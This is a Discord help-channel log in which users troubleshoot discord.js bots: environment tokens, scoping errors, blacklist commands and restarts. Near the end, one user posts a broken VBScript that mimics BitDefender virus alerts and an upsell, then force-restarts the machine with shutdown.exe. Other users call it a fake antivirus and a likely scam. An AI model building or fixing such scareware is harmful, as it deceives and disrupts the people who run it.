west raptor
#

LTS probably, if you end up needing 11.x.x just install that

wide ruin
#

and just save it like normal

#

ah ok i see the path bit

#

what option?

#

i just chose install when required

wide ruin
#

right, i fixed all of that, now a small problem

#

Error: Cannot find module 'discord.js'

#

(npm extension added)

mossy vine
#

Open up cmd

#

Navigate to your bot folder

#

npm i discord.js

earnest phoenix
#

@wide ruin install npm

#

And discord.js with npm

wide ruin
#

ive got everything working, with one problem

#

how is it an invalid token/

#

?

topaz fjord
#

The error is self explanatory

#

You're providing the wrong bot token

wide ruin
topaz fjord
#

Did you save the file when changing the token

wide ruin
#

yes

topaz fjord
#

Try to Regen a new token, copy it, then save the file and try again

wide ruin
#

done that

#

same error

late hill
#

Are you sure you're using the right thing

wide ruin
#

yes

late hill
wide ruin
#

it worked on glitch, but not vsc

#

yeah, thats what i did

late hill
#

Show code where you define client

#

Or bot

#

Whatever u called it

wide ruin
#
const client = new Discord.Client();```
late hill
#

Don't u need to put your token in there

wide ruin
#
client.login(TOKEN)```
#

i dont think it needs it ther

#

there

late hill
#

Oh yeh

#

Try to log TOKEN

#

Maybe you didn't save it properly in process.env.TOKEN

wide ruin
#

TOKEN=???????????????????????????

#

thats in .env

#

i logged TOKEN

#

got undefined

late hill
wide ruin
#

anyone know why/

#

?

late hill
#

Oh

#

You had it working on glitch

wide ruin
#

yes

late hill
#

And are now trying to host it local from vsc?

wide ruin
#

yes

late hill
#

You have a .env file right

wide ruin
#

yes

late hill
#

You need some module to load those env variables

wide ruin
#

oh

late hill
#

Which glitch probably does automatically

#

Not sure tbh lol

wide ruin
#

how can i add that?

late hill
wide ruin
#

@granite tartan

late hill
#

Think all you have to do is install that and then put require('dotenv').config()

wide ruin
#

just got 4 random dms from @sullen granite

late hill
#

Yeh same, it's already muted lol

wide ruin
#

ok

#

right, code might work

#

nope

#

should i just put it in server.js

late hill
#

As long as you're not putting your code anywhere public blobshrug

wide ruin
#

its still giving undefined

#

i wont

#

thanks!

lyric talon
#

People, how can i ping a random people in my server using the command ?

#

@client.command *

soft plaza
#

@someone lol

mental solstice
#

a random number out of the guild userlist.length then send message "<@{guildUserList[randomNumber].id}> Youve been randomly tagged!!!"

bright meadow
#

how to handle votes? like with a webhook?

mental solstice
#

depends what u want to do when someone votes for your bot

bright meadow
#

add resources/items

#

I just want to have like a VoteListener

mental solstice
#

er wait youre trying to get set up to recieve webhooks.. what language are u using?

bright meadow
#

Java, using JDA
I have the discord bot list api setup and in the code.
I have setup a webhook connected with DiscordBotList, but how do I get if a vote is registered

mental solstice
#

you would put in the web address to your public ip and specified port. there are a few webhook listeners online

bright meadow
#

public ip?

mental solstice
bright meadow
#

so I have to handle that from my own server

#

okay now I understand

mental solstice
#

yes.. DBL will send a request to your java webhook server. containing the details of the upvote

bright meadow
#

okay

#

thanks!

mental solstice
#

๐Ÿ‘

scenic vapor
#

Hey, what do you guys use for image manipulation with node? Iโ€™m using Jimp right now and wondering if thereโ€™s a better option.

slim heart
#

mspaint

#

no probably not, if jimp is working for you i wouldnt push it

scenic vapor
#

Jimp works ok, it can be odd to use. I was having some troubles yesterday with it but that was probably just getting a bit frustrated with it.

tepid isle
#
const client = new Discord.Client();
var randomstring = require('randomstring');

exports.run = (client, message) => {
     message.author.send(
            randomstring.generate({
            length: 12,
            charset: 'alphabetic'
}))
};

message.channel.send("Sprawdลบ prywatne wiadomoล›ci!")

exports.conf = {
  enabled: true,
  guildOnly: false,
  aliases: ['p'],
  permLevel: 0
};

exports.help = {
  name: 'losowehasล‚o',
  description: 'Losuje hasล‚o',
  usage: 'losowehasล‚o'
};```
#

help me

slim heart
#

well

#

whats wrong

tepid isle
#

The error: message is not defined

languid dragon
#

define it

slim heart
#

thats coming from the file where youre running that file i think

scenic vapor
#

In your main file (app.js, index.js) did you pass message?

languid dragon
#

another brilliant idea is learning how to code properly, because your exports.run function is a scope and your message.channel.send is outside of that scope

#
slim heart
#

im

#

oh yea

#

loool

topaz fjord
#

Keb aren't they pinned

tepid isle
#

yes @scenic vapor

scenic vapor
#

oh lol that message

#

Look at the message above

slim heart
#

Hunter read what snowy just said

scenic vapor
#

By snowy

#

I wish code embeds would properly work and look nice on phones

mossy vine
#

another brilliant idea is putting the send() in the scope where message is actually defined

#

or another brilliant idea for me would be to read previous messages

languid dragon
#

congratulations

scenic vapor
#

nice

mossy vine
#

shut the heck up

scenic vapor
#

frick you

slender thistle
#

No try-except neither local error handlers included

surreal marsh
#

How would I go about setting a mention prefix?

languid dragon
#

by testing if the message starts with the mention of the bot

surreal marsh
#

ah

#

ty

scenic vapor
#

anyone know of a good package for image manipulation? currently using Jimp, want to know if thereโ€™s any better ones out there.

languid dragon
#

canvas

scenic vapor
#

thanks am gonna look into it

earnest phoenix
#
            if(command === `${prefix}blacklist` || command === `${mentionprefix}blacklist`) {
                const who = args[0]
                const who2 = args.slice(1).join(' ')
                var dir = `./blacklisted/${who}`;
                
                if (!fs.existsSync(dir)){
                    fs.mkdirSync(dir);
                   }
                fs.writeFile(`./blacklisted/${who}/black.txt`,"true", function(err) {
                    fs.writeFile(`./blacklisted/${who}/reason.txt`, who2, function(err) {
                        let se = bot.users.get(who).send("`" + "Hello, You have been added to " + bot.user.username + "'s blacklist for the following reason: " + who2 + " / This means you are no longer permitted to use the bot. If you think this was unfair/wish to get un-blacklisted, please contact bot owner." + "`")
                        if(!se) return;
                        message.channel.send("`" + "User was blacklisted and was sent a message saying they were blacklisted for:" + who2 + "`")
                        setTimeout(function() {
                        let lol = bot.guilds.filter(r=> r.owner.id === who)
                        lol.forEach(async(guild, id) => {
guild.leave()
                        });
                }, 1000);
            });
            });
            }```
#

This command is not working

#

I don't remember editing it

#

is it from the indentation?

topaz fjord
#

Whats the problem

earnest phoenix
#

The command isn't running.

#

I run the command

#

blacklist <USER_ID> <REASON>

#

then nothing happens

#

@topaz fjord

earnest phoenix
#

Hey guys I'm getting an error with discord.js

const { Client, RichEmbed } = require('discord.js');
      ^

SyntaxError: Unexpected token {
    at exports.runInThisContext (vm.js:53:16)
    at Module._compile (module.js:373:25)
    at Object.Module._extensions..js (module.js:416:10)
    at Module.load (module.js:343:32)
    at Function.Module._load (module.js:300:12)
    at Function.Module.runMain (module.js:441:10)
    at startup (node.js:139:18)
    at node.js:990:3

when I'm running the bot on my Linux V-Server.
The same issue doesn't appear on my Windows machine though.

#

Does anyone know why this occurs?

inner jewel
#

try updating node

earnest phoenix
#

you can either update node or do it this way:

const djs = require("discord.js");
const Client = djs.Client;
const RichEmbed = djs.RichEmbed;

...
#

and I believe that even with the latest node it wouldn't allow you to use the deconstruction assignments

#

so you might want to check that

#

another option you may want to look at is using babel

#

how do i ignore specific channel

#

i mean server

#

ignore how

#

you mean in code

#

yea discordjs

#

what specifically do you want to ignore

#

about it

#

messages sent in such guild?

#

bot adds role to new users

#

so i want it to ignore all other guilds

#

you'll have to add a guard where you add roles

#

and add only to one

#

to ignore specific servers

#

servers have unique ids

bright spear
#

@earnest phoenix const {..} = require.. works in node 10 iirc (and probably 8 too)

earnest phoenix
#

you can use them to specify what server

#

or i can just make new bot for server Thonk probably

#

@inner jewel thanks a lot! That did it. My hosting provider apparently gave me an outdated version of linux hence the old packages.

#

I don't think that works in 8

#

not sure

#

I believe it's >=10

#

I wouldn't be surprised if his version was node 8

#

it would be unusual for a linux to come with a node version lower than 8

#

even if somewhat outdated

fierce owl
#

So I saw this guy's bot do a pull command
Example
Me: ?pull
Bot: Pulling changes
Also bot: Pulled! Restarting

Any help?

#

btw discord.js

mossy vine
#

im assuming the bot pulls its source code from the repository and restarts

fierce owl
#

yea

mossy vine
#

we dont spoonfeed, look into github docs

fierce owl
#

oke

#

Another question

Basically I want the bot to send a message if the command they use has an error.
Example
Me: ?kick (member)
Bot: (has an error that is displayed in the console [cmd.exe or something]) Error: Cant read property of null. Sending this to developers

#

discord.js

mossy vine
#

thats just

#

catch the error

#

then send the error in the channel

fierce owl
#

can you give example plz

mossy vine
#
member.kick().catch(err => message.channel.send(err))```
#

if the member.kick() promise returns an error, .catch() will catch and you can do a callback or hwatever its called

fierce owl
#

well how can i catch the error displayed in console and throw it to a channel

mossy vine
#

client.channels.get('id').send(err)

fierce owl
#

ok

#

thanks

mossy vine
#

yw

earnest phoenix
#

can i use css in bot page?

ruby dust
#

yes

#

CSS is acceptable in the long description

earnest phoenix
#

ok theres preview button ๐Ÿ˜„ great

#

even js is allowed, damn. I like that

ruby dust
#

not really

knotty steeple
#

only for certified

earnest phoenix
#

so i shouldn't add js?

knotty steeple
#

no

ruby dust
#

you are not allowed to use js unless you have applied for a certification

amber fractal
#

Applied or accepted?

ruby dust
#

both

earnest phoenix
#

how do i apply Thonk

ruby dust
earnest phoenix
#

not found

ruby dust
#

not the correct url

#

nice

#

fixed

amber fractal
#

Ye

#

O

#

Lol

brittle loom
#

i know this isnt about bots but can someone tell me what the issue is here?



X=MsgBox("Unable to fix this error Do you want to scan your computer",3+48,"Computer Scan") 


X=MsgBox("!Alert! Virus has been detected. Do you want to delete this virus?",3+48,"BitDefender 2019") 


X=MsgBox("Starting Virus Removal Process..",1+64,"BitDefender 2019") 


X=MsgBox("Please consider upgrading to a Premium Plan for firewall & More!",0+16,"BitDefender 2019") 


X=MsgBox("Checking for multiple virus's ",2+16,"BitDefender 2019") 


X=MsgBox("Multiple Virus's Detected",2+16,"Deletion In Progress") 


X=MsgBox("Checking if BitDefender is activated.",2+16,"BitDefender 2019") 


X=MsgBox("Removing Virus: Reading file details",2+16,"BitDefender 2019")  


X=MsgBox("10%",1+64,"BitDefender 2019") 


X=MsgBox("25%",0+32,"BitDefender 2019") 


X=MsgBox("45%",0+16,"BitDefender 2019")
 

X=MsgBox("59%",0+16,"BitDefender 2019")  


X=MsgBox("100%",0+16,"BitDefender 2019") 

X=Msgbox("Are you sure to want to remove the virus?", & mname, vbYesNo, "Virus Removal") = vbYes then

Set WSHShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 0"

         next
end if```
bright spear
#

@brittle loom is there an error?

blazing star
#

is that C#?

bright spear
#

also r u making a fake antivirus

blazing star
#

it shuts down the pc

bright spear
#

yes ik

#

it literally runs shutdown.exe lmao

blazing star
#

lmao

#

X isnโ€™t defined lul

knotty steeple
#

thats not c#

#

its vbs?

#

who codes vbs

#

im sure no one here knows about it

sick cloud
#

i remember VBS

#

@brittle loom i honestly haven't used it in years, but what's happening with it?

mental solstice
#

the issue is, you dont have the correct syntax, and it's been about 10 years since I've used Visual Basic. you'll need to do If X = vbYes Then all the other MsgBox you dont need to define. just the last one

#

dim x = msgbox.. iirc

#

also the parameters in your last msgbox & mname that will probably throw an error

topaz fjord
#

Legit this all seems like a scam

vernal rivet
#

Probably

mental solstice
#

so i shouldnt have loaned given him $5,000 in iTune cards he had me go to the store and buy?

earnest phoenix
#

its either vbs or batch

celest arch
#

Is there anyway to code a command that can make your bot restart

#

By doing like !restart

bright spear
#

python probably has a way to exit the process

slender thistle
#

Yes.

The only good way to restart your bot is to let it die and have your process manager handle it.

Do use:

  • run your bot in a process manager such as:
    • systemd
    • openrc (gentoo, devuan)
    • runit (void linux)
    • supervisord
    • upstart (old ubuntu)
  • manually reboot it

Do not use:

  • a bash loop (it can eat your C-c by rapidly spawning python and if your bot fails it won't stop it from constantly failing)
  • subprocess.call (you will eat your memory up by not letting your old processes die)
  • os.exec*
earnest phoenix
#

ok @amber fractal

amber fractal
#

So you dont know javascript?

earnest phoenix
#

yes

amber fractal
#

You do?

earnest phoenix
#

yes

amber fractal
#

Alright.

earnest phoenix
#

i use visual studio code

amber fractal
#

How do you plan on hosting the bot?

earnest phoenix
#

i didnt understand

amber fractal
#

Are you hosting it locally?

#

From your computer

earnest phoenix
#

yes

amber fractal
#

Well, we'll need to get you ser up to use discord.js then

earnest phoenix
#

ok

amber fractal
#

Youll need to get nodejs

earnest phoenix
#

what is node js

#

a app??

amber fractal
#

Its a javascript runtime enviornment

#

Im tired and if i explained it id probably die

earnest phoenix
#

ok

amber fractal
#

Tbh i have no idea if thats outdated

#

4 years ago

#

Id say it is

#

Let me find a better one

earnest phoenix
#

i downloaded

#

is visual studio code okay

amber fractal
#

Yes

earnest phoenix
#

i have it

amber fractal
#

Open an elevated command prompt and type node -v and tell me what it says

earnest phoenix
#

what?

keen drift
#

lol

#

@amber fractal you having fun?